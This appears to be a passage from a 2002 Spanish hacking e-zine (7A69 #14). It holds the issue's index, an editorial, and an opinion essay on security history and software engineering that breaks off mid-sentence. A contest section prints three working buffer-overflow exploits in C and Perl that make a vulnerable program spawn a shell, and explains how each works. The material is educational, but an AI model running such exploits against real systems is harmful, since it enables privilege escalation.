Copy Link
Add to Bookmark
Report

7A69 Issue 14

eZine's profile picture
Published in 
7A69
 · 30 Dec 2020
7A69 Issue 14
Pin it

  

#!/usr/bin/perl
#
# Este fichero puede ser interpretado como un script de perl.
#


;s''s$$7a69$;s;.;$"$ &$"$&;g; $;=q$6t20
j0m0w0j0b0-0!22b8r0v 0f2t9u0! 0q6s20p0h0s0b
0n0b0!21u8f0m0!1e13f 0e0j6d20v0!0b0!0u0v0-20q8
l0!0u0f17t0u0j6n20p0 -0!0q0l0!0n19b8t0!0e0f19y0b
0u17!8f0m0!0d13p6s0!0 u8s0f0o1 d7b5u7- 16!8j0!
0q1l14!4 f0m0!8l0f0!2i7 j5!7i15b 8i0b0h2 v15u2!0
f0o8u0s0 f4!18u0v0!14j8! 0k0p12-6 !1o0p0!14f0t0!0q17p
0u0!13b8 d0b0c6 b13s0!0b0l17j0-0!0u14v0!0u12f8o
0w0b5t15 !0q0s0p18!0u0f4o8q0p0s11u8f0t0!5f16m0!0n0f7v
5!7d2p8s 0!0b10n8!0u0v5/6B4e7f0v7!5q7s1j8o d0f0t9f8
u0b0!6n6 f4w7b0-18!0o0p0!8q0m0p8 s8b0s0f 7!17n0f0
t1!17q0f 0s0!8u 0v0/7F8m0!0u9f 17v0!0o 2j13o0v0
!1!8u0f0 t6u8j0 n0b11s10b2!4t4f9n0q0s2f8/0U0poj$;@
_=m$.$g, s$$\$^I$ee,$_=$;, $==q$$;s$\s$$g;print$_[$.
++%(@+<< 4)]x$&,$.%(@+<<4) ?qq;;:$/while m;\d+;g'
;;s$$\$_ $ee__END__ 7a69 e-zine-14 19-09-02




[*] Numero 14
[*] 21 de Octubre del 2002 -- 01:43


____________________________________________________________________



"No mires nunca de donde vienes, sino a donde vas."

-- Beaumarchais


____________________________________________________________________



-- Contacto

[*] Web oficial: http://www.7a69ezine.org
http://www.ipv6.7a69ezine.org (IPv6)
[*] Email: staff@7a69ezine.org


-- Listas de correo

[*] Kernelcoders: $ mail kernelcoders@7a69ezine.org << EOF


-- Espejos oficiales:

[*] http://www1.7a69ezine.org
[*] http://www2.7a69ezine.org
[*] http://www3.7a69ezine.org
[*] http://www4.7a69ezine.org
[*] http://www1.ipv6.7a69ezine.org (IPv6)


-- Distribuidores oficiales:

[*] http://www.zine-store.com.ar
[*] http://www.hackemate.com.ar
[*] http://www.hackingparanovatos.com
[*] http://dtfzine.cjb.net
[*] http://www.dragones.org
[*] http://www.redes-linux.com
[*] http://packetstorm.decepticons.org/mag/7a69/


____________________________________________________________________



-- Staff

[*] Anarion < anarion@7a69ezine.org >
[*] Doing < doing@7a69ezine.org >
[*] Ireick < ireick@7a69ezine.org >
[*] Ripe < ripe@7a69ezine.org >
[*] Tahum < tahum@7a69ezine.org >
[*] Trycky < trycky@7a69ezine.org >
[*] Tuxisuau < tuxisuau@7a69ezine.org >


-- Colaboradores de este numero

[*] Memonix < memonix@bigfoot.com >
[*] Viesllo < viesllo@inf.upv.es >
[*] Acero < ????@????????? >
[*] Ftk < fkt@funfatal.org >
[*] Anonimo < ????@?????????? >

____________________________________________________________________


Discriminador: El staff de 7a69 no se responsabiliza del uso de la
informacion aqui expuesta. Tampoco este tiene el
porque estar deacuerdo con las opiniones reflejadas.
Nadie te obliga a leer 7a69.

____________________________________________________________________



staff@00110111011000010011011000111001:~ > cat index.14


ID Titulo Autor Tema

[01] Presentacion. Staff Prologo
[02] Exploit-It. Ripe Concurso
[03] Del fin de los tiempos. MemoniX Opinion
[04] Inyeccion de codigo en tiempo de ejecucion. Ripe Hacking
[05] Virus en Linux. Viesllo Virii
[06] Metodologia distribuida. Tahum Computacion
[07] Seguridad en redes GSM. Acero Seguridad
[08] Tutorial de VxD's en ASM. Viesllo Programacion
[09] Introduccion a la programacion del PIC 16F84 Fkt Programacion
[10] Agentes autonomos. MemoniX Seguridad
[11] Chroot como entorno inseguro. Ripe Hacking
[12] Programando con GLADE y LibGlade. Fkt Programacion
[13] Stack overflow con stack no ejecutable. Ripe Hacking
[14] NcN. El congreso de Palma. Ripe Congreso
[15] Debate. Varios Opinion
[16] Leyes de la fisica hax0r. Anonimo Humor
[17] Charlando con... CatHack! Staff Entrevista
[18] Correo del lector. Staff Vosotros
[19] 7a69Soft. Staff Editorial
[20] Llaves PGP. Staff Edirotial
[21] Despedida. Bye bye. Staff Editorial

____________________________________________________________________



"That's the whole trouble. You can't ever find a place that's nice and
peaceful, because there isn't any. You may think there is, but once you
get there, when you're not looking, somebody'll sneak up and write "
Fuck
you" right under your nose. Try it sometime. I think, even, if I ever
die, and they stick me in a cemetery, and I have a tombstone and all,
it'll say "
Holden Caulfield" on it, and then what year I was born and what
year I died, and then right under that it'll say "
Fuck you." I'm
positive, in fact."


- The Catcher in the Rye


*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 1 - Introduccion. }{ Staff }
|-----------------------------------------------------------------------|

Ha pasado ya tanto tiempo desde que el numero 13 vio la luz que
practicamente se nos ha olvidado como escribir introducciones como esta. De
todos modos intentaremos, como siempre, hacerlo lo mejor posible.

¿Que solemos comentar en nuestras introducciones? ¿Panorama del under
actual? Pues que decir, de momento sigue como siempre bastante parado, al
menos de cara al publico. SET parece que se ha estavilizado; ha superado la
torta que les dieron y el pobre numero #25 anunciando la salida de un proximo
numero que deberia salir a finales de Octubre. NetSearch sigue siendo una
incognita total, tras anunciar su retirada y su vuelta en alguna ocasion
parece que la ultima palabra manifiesta un retorno de estos, tendremo que
esperar a ver que pasa. Otros ezines, como DTF, parece que no acaban de
despegar del todo (sabemos que los inicios, e incluso el mantenerse, son
muy complicados, Animos!). En cuanto a Hispahack basta con decir que la
web sigue practicamente igual que cuando la ignaguraron, con la diferencia
de la actividad en los foros (que ha disminuido), foros que tuvieron que
cerrar durante unos dias debido a una vulnerabilidad en los mismos. Esperamos
ver pronto buen trabajo de todos ellos. Si bien parece que la veterana scene
esta algo parada, otra parte de la scene si que se mueve. Estan apareciendo
una serie de grupos que mantienen webs con recopilacion de informacion, webs
que en ocasiones dañan la scene distribuyendo material propio de un
script-kiddie a la vez que informacion pobre y/o anticuada. Pero no solo de
grupos, ezines y webs vive la scene, tambien estan los congresos. Este verano
tuvo lugar en Mallorca la NcN (podeis encontrar en este numero de 7a69 una
cronica de esta 'quedada'), celebrando su segunda edicion abierto al
publico. Se celebran tambien la cuarta edicion de la HackMeeting, este año
en Madrid, y la veterana Undercon. Fuera del calificativo de Con, tenemos los
numerosos HackLab que se han ido creando en varios puntos de españa, como
Madrid, Barcelona, Bilbao... a los que se puede asistir de forma gratuita y
en los que se imparten cursos y talleres (CatHack nos hablan del HackLab de
Barcelona en la entrevista). Esta claro que no nos podemos quejar y tenemos
una gran cantidad de congresos y HackLabs a los que ir (podriamos sumar,
ademas, la Hispalinux).

Antes de dejaros con el sucoso contenido de 7a69#14 queremos deciros
que estamos muy contentos por el apoyo recivido y las ganas que habeis
mostrado, que nos ha ayudado enormemente a completar la salida de este numero.
La situacion laboral y/o estudiantil no nos permite dedicarle a la publicacion
todo el tiempo que deseariamos, y es por ello que, desde aqui, queremos dar
GRACIAS a todos y solicitar ayuda en forma de articulos, opiniones o cualquier
aportacion que se os pueda ocurrir. Si quereis echar un vistado a los
proyectos que tenemos en mente, no dudes en pasarte por la seccion proyectos
de nuestro website... para todo lo demas: staff@7a69ezine.org.

Basta de rollos.


Go! Go! Go! Go! Go! Go!
_____ __ ___ _ _ _ _ _
|___ |_ _ / /_ / _ \ _| || |_/ | || |
/ / _` | '_ \ (_) |_ .. _| | || |_
/ / (_| | (_) \__, |_ _| |__ _|
/_/ \__,_|\___/ /_/ |_||_| |_| |_|

http://www.7a69ezine.org


*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 2 - Exploit-It }{ Ripe }
|-----------------------------------------------------------------------|



No sois muchos los que habeis mandado el exploit para el source
vulnerable que publicamos, solo nos han llegado unas 6 soluciones, y
ninguna de ellas ha sido, a mi parecer, 100% eficiente. De todos modos, la
solucion que antes nos llego viene de la mano de RaiSe, uno de los
colaboradores de NetSearch, por lo que el es el ganador de este primer
Exploit-IT. La solucion de RaiSe es la siguiente:


---/ raise.c /---

/*
* Coded by NetSearch Staff <staff@netsearch-ezine.com>
*
* Forma de uso:
* ./xpripe offset
* (una vez en el vi: !exec /bin/sh)
*
* (el programa vulnerable debe estar en el directorio
* actual con nombre 'ripe')
*
* El offset deberia tener un valor entre 128 y 160.
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>


int main(int argc, char *argv[])
{
char buf[2048], *p;
int i, n, offset;


if (argc < 2)
{
fprintf(stderr, "Uso: %s offset\noffset: 128 - 160\n", argv[0]);
exit(-1);
}
else
offset = atoi(argv[1]);

bzero(buf, sizeof(buf));
memset(buf, '/', 108);
strcat(buf, "/bin/vi");

p = buf;

while (*p != 0x00)
p++;

n = strlen(buf);

for (i=0; i < (offset - n); i++)
*p++ = 0x73;

printf("Xplotando con offset: %d ..\n\n", offset);
execl("./ripe", "ripe", buf, NULL);
fprintf(stderr, "Error execl.\n");
exit(-1);

}

---/ raise.c /---


De este exploit podemos destacar un par de cosas. Primero de todo esta
el offset que nos pide, que sera usado para llenar de 's' el buffer a partir de
una posicion determinada, realmente no habia ninguna necesidad de usar ningun
offset para explotar el programa vulnerable, como veremos mas adelante. En
segundo lugar vemos que RaiSe ejecuta /bin/vi en lugar de /bin/sh. Esta es una
buena solucion al problema que se presenta cuando ejecutas /bin/sh, pues la
ejecucion de /bin/sh, provoca, realmente la ejecucion de "/bin/sh <buffer>", y
el buffer es "///...///bin/sh", por lo que trata de interpretar el binario
como si de un script se tratara y no ejecuta nada finalmente. Ejecutando
/bin/vi, sin embargo, editaremos el propio binario del vi (recuerda: "/bin/vi
///...///bin/vi"
), y una vez dentro podremos usar una de las funcionalidades
del vi, el caracter de escape "!" que permite la ejecucion de un comando, por
ejemplo "/bin/sh". Otra solucion a este mismo problema, que nos ha presentado
mas de un concursante ha sido la ejecucion del propio exploit, obviamente esto
no lo tenia previsto, pero en el enunciado no se dice que este prohibido :P

Seguidamente, lo que voy a presentar va a ser mi solucion, que creo es
la mas eficiente que he visto para el programa vulnerable que presente...


---/ vuln1-xpl.c /---

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

#define BUFFER 128
#define BHCH 8
#define EVILBUF_SIZE BUFFER+BHCH+strlen("/bin/sh")

int main() {
char *exec_argv[7];
unsigned short int *iptr;
char *cptr;
char evilbuf[EVILBUF_SIZE+1];
char ch;
int fd;
memset(evilbuf, 'A', EVILBUF_SIZE);
strncpy(evilbuf, "/tmp/", 5);
evilbuf[EVILBUF_SIZE]=0;
iptr=(unsigned short int *)&evilbuf[BUFFER+2];
(*iptr)=0x0101;
cptr=(char *)&evilbuf[BUFFER+BHCH];
strncpy(cptr, "/bin/sh", strlen("/bin/sh"));
ch=evilbuf[BUFFER+BHCH];
evilbuf[BUFFER+BHCH]=0;
mkdir(evilbuf, 0777);
evilbuf[BUFFER+BHCH]=ch;
ch=evilbuf[BUFFER+BHCH+4];
evilbuf[BUFFER+BHCH+4]=0;
mkdir(evilbuf, 0777);
evilbuf[BUFFER+BHCH+4]=ch;
fd=open(evilbuf, O_WRONLY|O_CREAT, 0777);
write(fd, "/bin/sh\n", 8);
close(fd);
exec_argv[0]="vuln1";
exec_argv[1]=evilbuf;
exec_argv[2]="-b";
exec_argv[3]="128";
exec_argv[4]="-t";
exec_argv[5]="P";
exec_argv[6]=NULL;
printf("Exploting...\n");
execve("vuln1", exec_argv, NULL);
printf("Something bad!\n");
}

---/ vuln1-xpl.c /---


Podeis ver que lo que hago es lo siguiente; mandar un buffer de 128
bytes que contiene lo siguiente "/tmp/AAAA...<0x0101>...AAAA/bin/sh\0",
dicho buffer desbordara el buffer de destino en la heap area y lograra
modificar filename, cambiandolo por "/bin/sh", pues en la heap are hay
lo siguiente antes de hacer el "strncpy(exec_argv[1], argv[1], size);".


Heap Area
----------------
| filename |
----------------
| 8 bytes |
----------------
| exec_argv[1] |
----------------


El problema reside en size, que esta seteado a 16 (o cualquier
otro valor que podemos asignar nosotros mediante un parametro), es
el tamaño de exec_argv[1], como se puede ver en la siguiente linea del
programa vulnerable "exec_argv[1]=(char *)malloc(size);". Pese a todo, si
miramos unas lineas mas abajo, veremos que hay un strcpy descontrolado
que escribe en un buffer del stack; "strcpy(bcp, argv[1]);", y en el stack
tenemos...

Stack
---------------
| size |
---------------
| bcp |
---------------


...por lo que podemos modificar el valor de size despues de que este
haya sido usado para reservar memoria para execve. Mi exploit setea size a 128
y luego le asigna el valor 0x0101, como se puede ver en el buffer que mando.
El 0x0101 es el valor mas pequeño que puedo poner sin que contenga caracteres
nules el buffer, por eso uso ese valor, y no otro. En definitiva, que logramos
que el programa vulnerable ejecute lo siguiente.


"/bin/sh /tmp/AAAA...<0x0101>...AAAA/bin/sh"


Con lo que logramos un bonito mensaje como el siguiente :)


/tmp/AAAA...<0x0101>...AAAA/bin/sh: /tmp/AAAA...<0x0101>...AAAA/bin/sh: No such file or directory


Para solucionar esto, lo que hago es crear ese fichero y hacer que
/bin/sh lo interprete, lo creo con dicho contenido... "/bin/sh". Otros, como
Anarion o RaiSe optaron por no ejecutar /bin/sh y ejecutar /bin/vi y /bin/less
respectivamente. Ya vimos el exploit de RaiSe, veamos el de Anarion, en perl.


---/ vuln-perlxpl.pl /---

#!/usr/bin/perl -w
# Anarion xpl
use strict;
use Cwd;
die <<USAGE unless @ARGV==2;
Try $0 vuln <program to execute> # Pot ser, /bin/less
USAGE

my $file = $ARGV[1]; # Programa a executar
my $size = chr(30+length $file); # Sobrescrivim el size
my $buffer = "/"x30 . $file; # Ens asegurem de ke sigui mes llarg k el printf
$buffer.= "A" x (130-length($buffer)) . $size ."\0";

print "Executant $ARGV[0] $buffer -b 4 -t P\n";
print "\$buffer = ${\length $buffer}\n";
exec(getcwd()."/$ARGV[0]",$buffer,"-b 4","-t P");

---/ vuln-perlxpl.pl /---


Debido a la poca participacion (solo hemos recibido 5 soluciones) hemos
decidido suprimir, al menos temporalmente esta seccion.


*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 3 - Del fin de los tiempos }{ MemoniX }
|-----------------------------------------------------------------------|



--==[ Un poco de Microhistoria ]==-----------------------------------------

Al igual que todo tiene un fin tambien tiene un principio, estando los
origenes de la seguridad y la inseguridad no demasiado distantes en el
tiempo, pudiendo afirmar que el concepto de seguridad se empezo a
desarrollar a principios y mediados de los años 70 cuando se empezo a pensar
en el desarrollo de sistemas multiusuario, siendo muchos de estos informes
clasificados como confidenciales.
Estos primeros sistemas multiusuario que vieron la luz eran bastante
precarios en cuestiones de seguridad, siendo sus metodos de seguridad
bastante faciles de traspasar, siendo estas tecnicas de antiseguridad ya
conocidas por pequeños grupos de ingenieros a mediados de los años 60
siendo por aquel entonces aplicables al sistema operativo IBM OS-360 MFT
sirviendo para ganar permisos de superusuario, pero no siendo este sistema
operativo el unico con problemas de seguridad, ya que evaluaciones de
seguridad del sistema MULTICS encontraron fallos que permitian acceder y
modificar informacion protegida, siendo estos fallos introducidos por el
ingeniero que desarrollo dicho sistema y no por problemas de diseño,
pasando algo similar en el sistema operativo Univac Exec-VIII al tener
problemas con sus mecanismos de almacenaje de la informacion, siendo
escrito el 'exploit' para llevar a cabo tales ataques por David Stryker,
pudiendo ser este uno de los primeros 'exploits' de la historia, aunque
este mismo nunca llego a ser distribuido.
En dicha epoca para llevar a cabo tales ataques se necesitaba un profundo
conocimiento del hardware y software a tratar, por lo que muy pocas personas
eran siquiera capaces de imaginar que tales ataques eran viables a nivel
practico.

En los años 70 la penetracion de computadoras a traves de una red era un
tema de ciencia ficcion, habiendo de hecho una novela sobre el tema, "The
Shockwave Rider"
, siendo a mediados de los años 80 cuando el concepto de
redes de computadoras se empezo a ver como una realidad, punto a partir del
cual tales ataques se empezaron a tener en cuenta, habiendo sido por ejemplo
desarrollado ciertos tipos de gusanos en los laboratorios de Xerox pudiendo
haber servido al menos como inspiracion para tales propositos, aunque por
esta epoca las intrusiones eran debidas a la neglicencia de los
administradores y vendedores, los cuales no tomaban demasiado en serio tales
problemas.

Un poco mas tarde el sistema operativo Unix empezo a tomar fuerza, siendo
distribuido sobre todo en entornos academicos, donde se creaban grandes
redes de maquinas en un entorno autentificado, es decir si una maquina se
veia comprometida automaticamente el resto tambien lo estaba, siendo mas o
menos a mediados de los años 80 cuando surgieron los bien famosos virus
informaticos, que venian a engrosar el cumulo de problemas para los
administradores de sistemas.
Otros tipos de vulnerabilidades como las race conditions se cree que tienen
su origen en 1988, siendo Robert T. Morris la persona que hipotetizo el
exploit para tal vulnerabilidad, exploit que fue implementado por su hijo
Robert T. Morris Jr., ocurriendo en noviembre de 1988 el primer ataque a
traves de Internet, donde dicho gusano tambien se aprovechaba de los
conocidos buffer overflows, siendo tambien el codigo de dicho gusano un
crackeador de contraseñas, todo un exploit para el que el mundo no estaba
preparado, ante lo que DARPA contesto con la creacion del actual CERT.

En el intervalo de tiempo 1988-1996 las intrusiones llevadas a cabo por los
buffer overflows eran relativamente escasas, siendo en 1996 cuando se
publico un articulo explicando como llevar a cabo tales ataques, estando por
tanto a partir de entonces disponible a la 'masa' tal conocimiento.
Sobre 1992 aparecieron las llamadas 'rootkits' lo que tambien tuvo como
consecuencia que el numero de ataques hacia maquinas conectadas a Internet
se siguiera incrementando.
Otro tipo de vulnerabilidades como TCP hijacking fueron hipotetizadas por
Steve Bellovin en 1989, no estando disponibles exploits para llevar a cabo
tales ataques hasta mas o menos 1995.

Desde entonces hasta nuestros dias se ha notado lo siguiente, el grado de
complejidad de los ataques tiende a crecer, mientras que la cantidad de
conocimientos para llevar a cabo tales ataques ha disminuido de una forma
espectacular. Estando el origen de dichos problemas en la mayoria de las
veces en la misma clase de errores, los cuales se repiten una y otra vez.

Una vez dicho a cierto nivel el origen de los problemas de seguridad
existentes, es hora de hablar del fin de tales problemas.

"¿Pues las manos mortales que han hecho inmortal?"
[Lucio Anneo Seneca]

--==[ ISO 4N71-31337 ]==---------------------------------------------------

Actualmente en muchas ocasiones dejamos nuestro trabajo, seguridad y
nuestras vidas en manos del software, siendo este la base de control de la
computadora, pero aun asi parece que la 'masa' no se ha concenciado con el
problema del software, con la enfermedad que este sufre.

"El software sufre una afliccion cronica"
[Tiechrow]

Algunos se preguntaran cual es la cuestion sobre la que hay que concenciarse
ya que estan absolutamente perdidos no sabiendo realmente que es lo que
tienen entre manos, se ve a la programacion como un arte solo al alcance de
unos pocos y no como lo que realmente es, un pequeño aspecto de todo el
entramado que constituye la ingenieria.

"El tema [lenguajes de computadora] parecia estar compuesto de un uno por
ciento de ciencia y de un 99 por ciento de hechiceria, y esta mezcla tenia
que cambiarse"

[Niklaus Wirth, Conferencia por el Premio Turing de 1984]

Para intentar solucionar este problema existe un cierto campo del saber
llamado ingenieria del software la cual aun esta en crecimiento, siendo su
objetivo el de desarrollar y mantener software de calidad, cuestion que
llevaria a la extincion a los hackers como son estos entendidos a dia de hoy
ampliamente, dejandoles sin juego al que jugar, hecho que ocurrira cuando se
produzca la muerte del 'programador' que traera el nacimiento del 'ingeniero
del software'.
Este hecho es algo que ocurrira inevitablemente, pudiendo poner como ejemplo
del porque a otros ambitos de la ingenieria, un ingeniero de caminos que
comete una neglicencia a la hora de construir un puente es llevado a juicio
para aclarar el grado de responsabilidad que ha tenido en cualquier tipo de
accidente ocurrido con su 'obra'.
Es decir en un futuro solo podran programar aquellas personas que cumplen
ciertos requisitos ya que el desarrollo defectuoso de software sera causa
de enjuiciamiento, siendo esto algo totalmente necesario ya que es necesario
'invertir' en el negocio propio ya que si no se hace este perdera calidad,
pudiendo pasar algo semejante a lo ocurrido en la industria del metal en USA
en los años 50-60, ya que la dejadez en la puesta al dia del negocio propio
puede llevar a este a la quiebra.

Estudios actuales revelan que el 50-70% del esfuerzo dedicado a un programa
tienen lugar una vez que este ha sido entregado, es decir estamos ante
software 'defectuoso'.

"Defecto: anomalia del producto"
[IEEE Standard Dictionary of Electrical and Electronics Terms, IEEE 100]

Siendo este un hecho que se permite sin intentar realmente llegar a la causa
del problema, ya que actualmente los supuestos expertos en seguridad para
intentar solventar tales problemas realmente se agarran al vacio al igual
que una persona cuando se ahoga, teniendo esto una explicacion obvia, la
'supervivencia' de su negocio, mientras que en el otro bando, en el de la
industria del software podemos ver como esta cuestion se ha convertido en
algo cotidiano, la generacion de errores se ve como algo inherente en el
mundo de la programacion, siendo esto una total estupidez que queda
perfectamente plasmada en la siguiente cita puesta sin ninguna variacion

"Frankly, one of the challenges facing Microsoft is that many of its
employees have not suffered much failure yet. Quite a few have never been
involved with a project that didn't succeed. As a result, success may be
taken for granted, which is dangerous... When you're failing, you're forced
to be creative, to dig deep and think hard, night and day. Every company
needs people who have been through that"

[Bill Gates, The Importance of Making Mistakes]

disponemos de las balas de plata necesarias para acabar con tales actitudes
y creencias, pero aun asi no son empleadas, con lo que solo se consigue que
la secta proselitista que conforma el hack siga creciendo.

No es mi funcion ni el objetivo de este texto discutir la 'validez' de los
estandares de calidad ISO 9000, ISO 9001, de las directrices ISO 9000-3, de
las herramientas CASE, de las tecnicas MEPS, de los controles GTC, de la
logica en tiempo real o de los enfoques de sala limpia, ya que aunque estos
fueran perfectos para nuestras necesidades no serian llevados a cabo debido
a lo dicho anteriormente, el campo de la programacion no esta totalmente
formalizado, no existe un marco actual que determine las responsabilidades
que contrae un programador una vez que entrega su producto al 'mundo'.

Aunque tambien hay que decir que estas reflexiones estan encaminadas hacia
el 'mercado comun', es decir es inimaginable que en un transbordador
espacial a mitad de camino hacia Marte se viese un mensaje similar a este

ERROR 17
SUBINDICE DEL ARREGLO FUERA DE INTERVALO
PROGRAMA ABORTADO

por el simple hecho de que en tales entornos el 'ingeniero de software' ya
ha sustituido al 'programador', debido a la muerte de este, causada por el
mismo.
Siendo esto algo que como ya dije dejaria fuera de juego a muchos grandiosos
hackers, arrojandoles de su 'darkhalla' particular, ya que una vez que este
hecho tenga lugar el numero de programas 'defectuosos' disminuira por no
decir que casi desaparecera a niveles practicos, teniendo tambien como ayuda
la inmensa base de datos con que actualmente contamos sobre 'software
defectuoso', la cual deberia de servir como estudio para no tropezar dos
veces con la misma piedra.

"Experiencia es el nombre que damos a nuestras equivocaciones"
[Oscar Wilde]

"Si conoces al enemigo y te conoces a ti mismo, no tendras que temer el
resultado de cien batallas"

[Sun Tzu]

Sin tener tampoco que olvidar que en ciertas partes es el cliente el que
tambien influye para llevar a un producto a un resultado no satisfactorio

"Se que cree que entiendo lo que piensa que dije, pero no estoy seguro de
que se de cuenta de que lo que escucho no es lo que yo quise decir"

[Cliente anonimo]

pero para el caso que nos trae este factor no esta entre los implicados.

Por supuesto para que esto se llegue a producir de una manera global es
necesario que se den ciertos factores, factores que ya estan en marcha y
que son irreversibles:

El comercio actual en Internet no es demasiado importante por ello las
empresas y gobiernos aun no han tomado cartas definitivas en el asunto, con
el paso de los años la sociedad se ira tecnificando con lo que la gente
perdera el miedo totalmente a la tecnologia y a Internet, es decir la
'sociedad' entera demandara el comercio por Internet siendo en ese momento
cuando los gobiernos y multinacionales se lanzaran a la conquista total del
sexto continente, Internet.
Sera en ese momento cuando se vea como un hecho imprescindible la
profesionalizacion total de la informatica, la no aceptacion de errores,
momento en el que las conocidas listas de seguridad perderan su principal
funcion ya que no habra software defectuoso sobre el que hablar como pasa
en la actualidad, aunque tambien habria que decir que parte de la funcion de
tales listas no es sino la construccion de un 'censo activo' por parte de
ciertas entidades de la gente interesada en ciertos temas que supone un
cierto riesgo para la sociedad, al igual que un campo de cultivo para
personas que buscan fama y fortuna y el medio por el cual las empresas y
profesionales de la seguridad subsisten, de hecho muchos grandiosos hackers
cuando participan en tales listas creen ser los jugadores principales del
'juego' cuando no son mas que simples titeres de los verdaderos jugadores,
aquellos interesados en que tales listas existan ya sea por motivos
economicos o de control social.

"¿No tienes enemigos? ¿Es que jamas dijiste la verdad o jamas amaste la
justicia?"

[Santiago Ramon y Cajal]

Por otro lado es previsible que dentro de un determinado numero de años el
posteo hacia las llamadas listas de seguridad disminuya en gran medida,
actitud que promueve el llamado 'blackhat' y que llevara de nuevo a provocar
que los estamentos gubernamentales y de mando se tomen totalmente en serio
el problema de la seguridad informatica, ya que las vulnerabilidades se
seguiran encontrando y explotando pero con la diferencia actual de que las
entidades encargadas de mitigar tales asuntos estaran totalmente a ciegas,
impotentes ante la situacion generada, por lo que de nuevo sera un tema
imprescindible el poner fin a tal situacion, cosa que puede hacer la maquina
del estado ya que esta a niveles practicos de poder esta por encima de
cualquier grupo de individuos; la situacion actual, el hack como es
entendido por la masa llegara al colapso siendo algo irreversible.

"El mal no esta en tener faltas, sino en no tratar de enmendarlas"
[Confucio]

Es en este momento cuando podemos hablar del 'hackeo' de la realidad, el
cual es promovido principalmente por un grupo de personas llamadas
periodistas los cuales creen ser los señores del conocimiento por lo que
creen saber la 'verdad' sea cual sea el tema que traten

"Los sabios son los que buscan la sabiduria; los necios piensan ya haberla
encontrado"

[Napoleon Bonaparte]

sirviendose para ello de la presdigitacion dialectica de la que hacen uso,
haciendo muchas veces del engaño su profesion, al hacer pasar por verdades
ciertos intereses particulares haciendolos respetar como tal

"En lo tocante a la ciencia, la autoridad de un millon no es superior al
humilde razonamiento de una sola persona"

[Galileo Galilei]

"Los sabios famosos no sirven a la verdad sino a la supersticion del pueblo"
[Asi hablaba Zaratustra, Nietzsche]

siendo ayudados en la tematica de la seguridad/inseguridad por las empresas
de seguridad en un intento de mantener en buena salud a su negocio, y todo
ello por una simple razon, cuestiones como el 'hackeo' de maquinas o los
virus informaticos no deberian de ser noticia por el mero hecho de que son
asuntos totalmente triviales sin ninguna importancia, ayudando solo con su
difusion a la creacion de nuevas generaciones de descerebrados, lo cual de
una manera indirecta favorece a estas empresas ya que tendran en un futuro
nuevos 'titeres' con los que hacer negocio, por supuesto generalizar no es
algo bueno ya que tambien hay periodistas verdaderamente conscientes de su
papel, pero en este caso la inferencia me lo permite debido a que la mayoria
de estos cuando tratan este tipo de noticias solo demuestran su
desconocimiento tecnico, al elevar al grado de genios a las personas que se
dedican a tales temas, al designar como temas complicados tecnicamente a
tales asuntos o al tratar como noticia a tales trivialidades

"Los que saben mucho se admiran de pocas cosas, y los que no saben nada se
admiran de todo"

[Lucio Anneo Seneca]

por lo que deberiamos de afirmar que ser hacker no es importante, cosa que
por supuesto estos mismo niegan en un intento de salvar sus dominios,
siendo esto algo que pasara irremediablemente,

"Regnabo, Regno, Regnavi, Sum sine regno"
(Reinare, Reino, he reinado, carezco de reino)
[Inscripcion en la rueda de la fortuna del Tarot]

"Hariamos un gran negocio comprando al hombre por lo que vale y vendiendole
por lo que el cree que vale"

[Napoleon Bonaparte]

dando de nuevo un ejemplo de su desconocimiento tecnico, ya que creen estar
por encima del concepto de 'ingeniero' o del concepto de 'tecnologo' cuando
son simples espectadores de la tecnologia a la que nada aportan, a estos
mismos se les podria denominar como maestros del cerebro de la sanguijuela
ya que solo se 'contentan' con su microuniverso, solo tienen ojos para el
y aun asi creen ser conocedores de la 'tecnica' cuando solo se concentran
en el mas nimio de los rincones de esta misma, dando a esta importancia
capital y es que pese a quien pese no tiene la misma complejidad el diseño
de un firewall de mision critica que el de un caza sin cola vertical, a la
vez que no es igual de complejo programar un exploit usando todas las
tecnicas conocidas que la programacion de un helicoptero mediante tecnicas
fuzzy logic, por lo que de nuevo deberiamos de decir que ser hacker no es
importante.
Otros grandiosos hackers afirman estar en disposicion de la verdad, en
cuanto a que son diferentes de la masa, afirman ser capaces de pensar mas
y mejor que el resto cuando apenas han llegado a abrir un ojo estando como
el resto de la 'masa', dormidos y con el cerebro corrompido,

"Una vez que despiertes sera para siempre"
[Asi hablaba Zaratustra, Nietzsche]

siendo una parte mas del rebaño que conforma la masa, ya que la mayoria de
ellos se limita simplemente a seguir el camino, la vida de otros, no
viviendo su propia vida

"Abandona los grandes caminos, sigue los senderos"
[Pitagoras]

creando nuevos idolos, reverenciando lo ajeno, demostrando unicamente con
esto 'tics teistas' que deben de ser surprimidos, ya que con ellos solo se
consigue que sigan generandose nuevos 'señores oscuros' o farsantes

"La creencia no es el principio sino el fin de todo conocimiento"
[Goethe]

"¡Triste epoca la nuestra! Es mas fácil desintegrar un atomo que un
prejuicio"

[Albert Einstein]

siendo tambien otro ejemplo de su prepotencia que solo indica
desconocimiento la ligereza que tienen muchos de estos hackers para verse
capaces de tratar con asuntos como la 'democratizacion del conocimiento',
ya que muchos creen tener la potestad suficiente como para decidir quien
puede y quien no tener el derecho de acceder a ciertos conocimientos, en un
reflejo de su creencia de que el resto de la humanidad es hemiplegica siendo
ellos los unicos poseedores de cierta capacidad intelectual, inculcando un
despreciable sentimiento de elite, cuando este tipo de personas suelen
encontrar interes en cosas planas como la penetracion en maquinas ajenas
al igual que otras personas que consideran interesante el mundo del corazon.

Entre todo el elenco de 'sabios famosos' que sirven a la supersticion de la
'masa' podemos encontrar a aquellos que en un principio se inventaron el
termino o el concepto de 'hacker', perteneciendo esta gente a ciertos
entornos tecnicos del mas alto nivel como el MIT, pero el que sean gente muy
capaz tecnicamente no es obice para que estos mismos digan estupideces, las
cuales con el paso del tiempo llegan a creerse ellos mismos, como ejemplo
se puede citar el conocido Jargon en el que podemos encontrar tonterias
tales como 'black art', 'black magic', 'wizard', 'voodoo programming', etc,
terminos estos carentes de sentido, los cuales solo dan a entender un
desconocimiento del mundo de la tecnica, al igual que cierto grado de
